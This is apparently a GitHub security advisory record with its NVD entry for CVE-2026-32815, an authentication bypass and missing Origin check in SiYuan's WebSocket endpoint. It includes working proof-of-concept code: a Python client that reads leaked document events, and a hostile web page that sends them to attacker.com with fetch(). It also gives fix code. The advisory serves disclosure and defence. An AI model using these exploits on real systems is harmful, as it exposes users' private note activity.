Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:46:34Z",
    "nvd_published_at": "2026-03-19T22:16:42Z",
    "severity": "MODERATE"
  },
  "details": "# Cross-Origin WebSocket Hijacking via Authentication Bypass \u2014 Unauthenticated Information Disclosure\n\n## Summary\n\nSiYuan\u0027s WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan\u0026id=auth\u0026type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client \u2014 including malicious websites via cross-origin WebSocket \u2014 to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.\n\nCombined with the absence of `Origin` header validation, a malicious website can silently connect to a victim\u0027s local SiYuan instance and monitor their note-taking activity.\n\n## Affected Component\n\n- **File:** `kernel/server/serve.go:728-731`\n- **Function:** `serveWebSocket()` \u2192 `HandleConnect` handler\n- **Endpoint:** `GET /ws?app=siyuan\u0026id=auth\u0026type=auth` (unauthenticated)\n- **Version:** SiYuan \u003c= 3.5.9\n\n## Root Cause\n\nThe WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    authOk := true\n    if \"\" != model.Conf.AccessAuthCode {\n        // ... normal session/JWT authentication checks ...\n        // authOk = false if no valid session\n    }\n\n    if !authOk {\n        // Bypass: allow connection for auth page keepalive\n        // \u7528\u4e8e\u6388\u6743\u9875\u4fdd\u6301\u8fde\u63a5\uff0c\u907f\u514d\u975e\u5e38\u9a7b\u5185\u5b58\u5185\u6838\u81ea\u52a8\u9000\u51fa\n        authOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") \u0026\u0026\n                 strings.Contains(s.Request.RequestURI, \"\u0026id=auth\u0026type=auth\")\n    }\n\n    if !authOk {\n        s.CloseWithMsg([]byte(\"  unauthenticated\"))\n        return\n    }\n\n    util.AddPushChan(s)  // Session added to broadcast list\n})\n```\n\nThree issues combine:\n\n1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan\u0026id=auth\u0026type=auth` bypasses all authentication checks.\n\n2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events \u2014 the same events sent to authenticated clients.\n\n3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**\n\n### 1. Direct unauthenticated connection\n\n```python\nimport asyncio, json, websockets\n\nasync def spy():\n    # Connect WITHOUT any authentication cookie\n    uri = \"ws://TARGET:6806/ws?app=siyuan\u0026id=auth\u0026type=auth\"\n    async with websockets.connect(uri) as ws:\n        print(\"Connected without authentication!\")\n        while True:\n            msg = await ws.recv()\n            data = json.loads(msg)\n            cmd = data.get(\"cmd\")\n            d = data.get(\"data\", {})\n\n            if cmd == \"rename\":\n                print(f\"[LEAKED] Document renamed: {d.get(\u0027title\u0027)}\")\n            elif cmd == \"create\":\n                print(f\"[LEAKED] Document created: {d.get(\u0027path\u0027)}\")\n            elif cmd == \"renamenotebook\":\n                print(f\"[LEAKED] Notebook renamed: {d.get(\u0027name\u0027)}\")\n            elif cmd == \"removeDoc\":\n                print(f\"[LEAKED] Document deleted\")\n            elif cmd == \"transactions\":\n                for tx in d if isinstance(d, list) else []:\n                    for op in tx.get(\"doOperations\", []):\n                        if op.get(\"action\") == \"updateAttrs\":\n                            new = op.get(\"data\", {}).get(\"new\", {})\n                            print(f\"[LEAKED] Doc attrs: title={new.get(\u0027title\u0027)}\")\n\nasyncio.run(spy())\n```\n\n### 2. Cross-origin attack from malicious website\n\n```html\n\u003c!-- Hosted on https://attacker.com/spy.html --\u003e\n\u003cscript\u003e\n// Victim has SiYuan running on localhost:6806\nconst ws = new WebSocket(\"ws://localhost:6806/ws?app=siyuan\u0026id=spy\u0026type=auth\");\n\nws.onopen = () =\u003e console.log(\"Connected to victim\u0027s SiYuan!\");\n\nws.onmessage = (event) =\u003e {\n    const data = JSON.parse(event.data);\n    // Exfiltrate document operations to attacker\n    fetch(\"https://attacker.com/collect\", {\n        method: \"POST\",\n        body: JSON.stringify({\n            cmd: data.cmd,\n            data: data.data,\n            timestamp: Date.now()\n        })\n    });\n};\n\u003c/script\u003e\n```\n\n### 3. Confirmed leaked events\n\nThe following events are received by the unauthenticated WebSocket:\n\n| Event | Leaked Data |\n|-------|-------------|\n| `savedoc` | Document root ID, operation data |\n| `transactions` | Document title, ID, attrs (new/old) |\n| `create` | Document path, notebook info (name, ID) |\n| `rename` | New document title, path, notebook ID |\n| `renamenotebook` | New notebook name, notebook ID |\n| `removeDoc` | Document deletion event |\n\n### 4. Cross-origin connection confirmed\n\n```python\nimport websockets, asyncio\n\nasync def test():\n    uri = \"ws://localhost:6806/ws?app=siyuan\u0026id=attacker\u0026type=auth\"\n    extra_headers = {\"Origin\": \"https://evil.attacker.com\"}\n    async with websockets.connect(uri, additional_headers=extra_headers) as ws:\n        print(\"Cross-origin connection accepted!\")  # SUCCEEDS\n\nasyncio.run(test())\n```\n\n**Result:** Connection succeeds \u2014 no Origin validation.\n\n## Attack Scenario\n\n1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance\n2. Victim has `accessAuthCode` configured (server is password-protected)\n3. Victim visits `attacker.com` in any browser\n4. Attacker\u0027s JavaScript connects to `ws://localhost:6806/ws?app=siyuan\u0026id=spy\u0026type=auth`\n5. WebSocket connection bypasses authentication\n6. Attacker silently monitors ALL document operations in real-time:\n   - Document titles (\"Q4 Financial Results\", \"Employee Reviews\", \"Patent Draft\")\n   - Notebook names (\"Personal\", \"Work - Confidential\")\n   - File paths and document IDs\n   - Create/rename/delete operations\n7. Attacker builds a profile of the victim\u0027s note-taking activity without any visible indication\n\n## Impact\n\n- **Severity:** HIGH (CVSS ~7.5)\n- **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)\n- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured\n- Cross-origin WebSocket hijacking \u2014 any website can connect to local SiYuan instance\n- Real-time information disclosure of document metadata (titles, paths, operations)\n- No user interaction required beyond visiting a malicious website\n- Affects both Electron desktop and Docker/server deployments\n- Silent \u2014 no visible indication to the user\n\n## Suggested Fix\n\n### 1. Remove the URL parameter authentication bypass\n\n```go\n// Remove or restrict the auth page bypass\n// Before (vulnerable):\nauthOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") \u0026\u0026\n         strings.Contains(s.Request.RequestURI, \"\u0026id=auth\u0026type=auth\")\n\n// After: Use a separate, restricted endpoint for auth page keepalive\n// that does NOT receive broadcast events\n```\n\n### 2. Add Origin header validation\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    // Validate Origin header\n    origin := s.Request.Header.Get(\"Origin\")\n    if origin != \"\" {\n        allowed := false\n        for _, o := range []string{\"http://localhost\", \"http://127.0.0.1\", \"app://\"} {\n            if strings.HasPrefix(origin, o) {\n                allowed = true\n                break\n            }\n        }\n        if !allowed {\n            s.CloseWithMsg([]byte(\"origin not allowed\"))\n            return\n        }\n    }\n    // ... rest of auth logic\n})\n```\n\n### 3. Separate keepalive from broadcast\n\nIf the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.",
  "id": "GHSA-xp2m-98x8-rpj6",
  "modified": "2026-03-30T13:59:03Z",
  "published": "2026-03-16T18:46:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp2m-98x8-rpj6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/1e370e37359778c0932673e825182ff555b504a3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass \u2014 Unauthenticated Information Disclosure"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "E1AA6470-222A-4841-A487-DF65F9859780",
              "versionEndExcluding": "3.6.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan\u0026id=auth\u0026type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client \u2014 including malicious websites via cross-origin WebSocket \u2014 to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users. Combined with the absence of Origin header validation, a malicious website can silently connect to a victim\u0027s local SiYuan instance and monitor their note-taking activity. This issue has been fixed in version 3.6.1."
    },
    {
      "lang": "es",
      "value": "SiYuan es un sistema de gesti\u00f3n de conocimiento personal. En las versiones 3.6.0 e inferiores, el endpoint de WebSocket (/ws) permite conexiones no autenticadas cuando se proporcionan par\u00e1metros de URL espec\u00edficos (?app=siyuan\u0026amp;id=auth\u0026amp;type=auth). Este bypass, destinado a la p\u00e1gina de inicio de sesi\u00f3n para mantener el kernel vivo, permite a cualquier cliente externo \u2014incluidos sitios web maliciosos a trav\u00e9s de WebSocket de origen cruzado\u2014 conectarse y recibir todos los eventos push del servidor en tiempo real. Estos eventos filtran metadatos de documentos sensibles, incluyendo t\u00edtulos de documentos, nombres de cuadernos, rutas de archivos y todas las operaciones CRUD realizadas por usuarios autenticados. Combinado con la ausencia de validaci\u00f3n del encabezado Origin, un sitio web malicioso puede conectarse silenciosamente a la instancia local de SiYuan de una v\u00edctima y monitorear su actividad de toma de notas. Este problema ha sido solucionado en la versi\u00f3n 3.6.1."
    }
  ],
  "id": "CVE-2026-32815",
  "lastModified": "2026-03-23T18:20:00.913",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-19T22:16:42.167",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/siyuan-note/siyuan/commit/1e370e37359778c0932673e825182ff555b504a3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp2m-98x8-rpj6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}